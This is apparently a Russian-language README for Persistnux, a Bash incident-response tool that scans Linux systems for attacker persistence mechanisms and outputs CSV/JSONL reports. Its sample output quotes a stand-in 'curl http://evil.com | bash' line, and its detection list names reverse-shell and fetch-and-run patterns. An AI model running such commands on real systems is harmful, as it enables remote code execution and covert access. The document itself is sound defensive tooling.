
Инструмент обнаружения персистентности в Linux на Bash для расследований DFIR. Сканирует 15+ механизмов персистентности (systemd, cron, модули ядра, SSH, контейнеры) с оценкой достоверности и генерирует CSV/JSONL отчеты для криминалистического анализа.
Комплексный инструмент обнаружения механизмов сохранения доступа (persistence) в Linux для расследований в области цифровой криминалистики и реагирования на инциденты (DFIR).
Persistnux — это инструмент на Bash, предназначенный для выявления известных механизмов сохранения доступа в Linux, используемых злоумышленниками для поддержания контроля над скомпрометированными системами. Он выполняет всесторонние проверки системы и генерирует подробные отчёты в форматах CSV и JSONL для дальнейшего анализа.
.service) в /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system/etc/crontab, /etc/cron.d/*)/etc/cron.{daily,hourly,weekly,monthly})/etc/cron.allow и /etc/cron.deny — записи, ссылающиеся на несуществующих пользователей, помечаются/etc/profile, /etc/bash.bashrc, /etc/zshrc)/etc/profile.d/*).bashrc, .bash_profile, .zshrc, .profile и т. д.)/etc/rc.local и его варианты/etc/init.d)/etc/rc*.d)/etc/ld.so.preload) — каждая указанная библиотека проверяется через менеджер пакетов/etc/ld.so.conf, /etc/ld.so.conf.d/) — проверка целостности conf-файлов и сканирование .so-файлов в нестандартных путях/etc/environment LD_PRELOAD/LD_LIBRARY_PATH — помечается как HIGH; указанные пути библиотек проверяются (неуправляемые/изменённые → CRITICAL)/etc/modprobe.d/, /etc/modprobe.conf) — целостность файлов; анализ директив install на предмет подозрительных целей команд; blacklist модулей безопасности (apparmor, selinux, seccomp) помечается как HIGH/etc/modules, /etc/modules-load.d/) — целостность конфигураций; имена модулей разрешаются в .ko-файлы через и проверяются.config/autostart, /etc/xdg/autostart) — при работе от root сканируются все домашние каталоги пользователей/etc/environment) — проверка путей библиотек LD_PRELOAD/LD_LIBRARY_PATH/etc/sudoers, /etc/sudoers.d/) — шаблоны NOPASSWD/ALL → HIGH.so проверяются через менеджер пакетов; обрабатываются директивы @include; включается /etc/pam.confpam_exec.so — отсутствующие/подозрительные скрипты → CRITICALpam_python.so / pam_perl.so — скрипт извлекается и анализируетсяpam_script.so в ~/.ssh/authorized_keys — недавно изменённые ключи помечаются; анализируется содержимое опции command= на предмет подозрительных шаблонов~/.ssh/rc — наличие помечается как MEDIUM; подозрительное содержимое/обратная оболочка → HIGH/CRITICALdpkg -V на Debian/Ubuntu, rpm -Va на RHEL/CentOS)/usr/bin, /usr/sbin, /bin, /sbin → CRITICAL/lib/security → CRITICALinit= в GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)/pre-pivot, записывающими в /sysroot/etc/shadow/etc/initramfs-tools/scripts/ и /hooks//boot/initrd.img-* (по mtime).pkla с безусловными ResultAny/ResultInactive/ResultActive=yesunix-user:*).rules с безусловным polkit.Result.YES (Polkit на JavaScript, версия >= 0.106)Exec= (/usr/share/dbus-1/system-services/)allow own="*" или send_destination="*"/etc/NetworkManager/dispatcher.d/)RUN+=, выполняющие произвольные команды или скрипты (/etc/udev/rules.d/, /lib/udev/rules.d/)/run/udev/rules.d/at/cron в RUN+= (распространённый обход ограничений на выполнение в фоновом режиме)--privileged, --pid=host)docker.sock внутрь контейнеров (полный контроль над хостом через Docker API)nsenter -t 1 в точках входа контейнеров или Dockerfilegetcap — cap_setuid+ep на GTFOBins → CRITICAL.original, .old, .bak, .real) с скриптами-обёртками/etc/passwd/etc/passwdauthorized_keys SSH# Клонирование репозитория
git clone https://github.com/yourusername/persistnux.git
cd persistnux
# Сделать скрипт исполняемым
chmod +x persistnux.sh
# Запуск с настройками по умолчанию (показываются только подозрительные находки)
sudo ./persistnux.sh
# Показать справку и все опции
./persistnux.sh --help
# Запуск от обычного пользователя (ограниченная область)
./persistnux.sh
По умолчанию Persistnux показывает только подозрительные находки (уровни MEDIUM, HIGH, CRITICAL), чтобы уменьшить шум и сосредоточиться на действенных угрозах.
# По умолчанию: показывать только подозрительные находки
sudo ./persistnux.sh
# Показывать все находки, включая базовые (уровень LOW)
sudo ./persistnux.sh --all
# ИЛИ
sudo FILTER_MODE=all ./persistnux.sh
# Показывать только находки с уровнями HIGH и CRITICAL
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh
# Комбинирование фильтров: только HIGH
sudo ./persistnux.sh --min-confidence HIGH
# Указать собственный каталог вывода
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh
# Комбинировать с фильтрацией
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
По умолчанию Persistnux создаёт каталог вывода ./persistnux_output/, содержащий:
persistnux_<hostname>_<timestamp>.csv — отчёт в формате CSVpersistnux_<hostname>_<timestamp>.jsonl — отчёт в формате JSONL (по одному объекту JSON в строке)persistnux_<hostname>_<timestamp>_report.txt — читаемый сводный отчёт с количеством находок и метаданными сканированияtimestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
{
"timestamp": "2026-01-23T10:30:00Z",
"hostname": "webserver01",
"category": "Systemd Service",
"confidence": "HIGH",
"file_path": "/etc/systemd/system/example.service",
"file_hash": "abc123...",
"file_owner": "root:root",
"file_permissions": "644",
"file_age_days": "3",
"package_status": "unmanaged",
"command": "/opt/example.sh",
"description": "example.service",
"matched_pattern": "suspicious_script_content",
"matched_string": "curl http://evil.com | bash"
}
suspicious_script_content, modified_package, unmanaged_binary)Persistnux использует интеллектуальную оценку надёжности для снижения ложных срабатываний:
Persistnux теперь включает несколько функций для снижения ложных срабатываний:
dpkg (Debian/Ubuntu) или rpm (RedHat/CentOS), получают более низкие оценки надёжностиPersistnux автоматически помечает элементы с повышенной оценкой надёжности при обнаружении:
bash -i >& /dev/tcp/, sh -i >& /dev/udp/nc, netcat, socat, telnetpython -c 'import socket'curl | bash, wget | shcurl URL -o /tmp/file && chmod +xbase64 -d | bash, eval $(echo BASE64)eval, exec/tmp, /dev/shm, /var/tmpchmod +x, chmod 777chmod u+sfind, grep, stat, sha256sum, awk, filesystemctl, lsmod, modinfo, getcap, dpkg/rpm (для определённых проверок)python/jq не требуются)Примечание: Инструмент в основном протестирован на системах Ubuntu/Debian. RedHat, Fedora и RPM-дистрибутивы имеют реализованную поддержку менеджера пакетов в коде, но не были проверены в реальных тестовых средах. Приветствуются вклады и отчёты о тестировании для RPM-дистрибутивов.
Persistnux сравнивается с PANIX,
который устанавливает те же механизмы сохранения доступа, которые ищет
Persistnux. Повторяемый тестовый стенд в
tests/panix_benchmark.sh применяет каждую
технику PANIX, запускает Persistnux и подтверждает обнаружение через
базовое сравнение. Каждый файловый метод PANIX, применимый на тестовой
машине, обнаруживается с уровнем MEDIUM и выше. См. полную таблицу
покрытия и методологию в PANIX_BENCHMARK.md.
⚠️ Бенчмарк устанавливает реальные бэкдоры — запускайте его только в изолированной виртуальной машине.
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX
Вклад приветствуется! Пожалуйста, отправляйте pull request или открывайте issues для:
Лицензия MIT — подробнее см. в файле LICENSE.
Разработано для сообщества DFIR для помощи в реагировании на инциденты и криминалистических расследованиях в Linux.
Этот инструмент предназначен только для авторизованного тестирования безопасности, реагирования на инциденты и криминалистического анализа. Пользователи обязаны убедиться, что у них есть соответствующие разрешения перед запуском этого инструмента на любой системе.
По вопросам, проблемам или предложениям используйте трекер issues на GitHub.
modinfolsmod) — перечисление и проверка целостности/etc/security/pam_env.conf и ~/.pam_environment/etc/security//etc/update-motd.d/) — проверка пакета; изменённые → CRITICAL| Дистрибутив | Статус | Примечания |
|---|
| Ubuntu 22.04 LTS | ✅ Протестирован | Основная платформа разработки и тестирования |
| Ubuntu 20.04 LTS | ✅ Протестирован | Полная поддержка |
| Debian 11/12 | ✅ Протестирован | Основан на dpkg, те же соглашения о путях |
| Kali Linux (rolling) | ✅ Протестирован | Использовался для бенчмарка PANIX (см. ниже) |
| RedHat / RHEL | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| Fedora | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |
| CentOS / AlmaLinux / Rocky | ⚠️ Не тестировался | Поддержка rpm реализована, но не проверена на живых системах |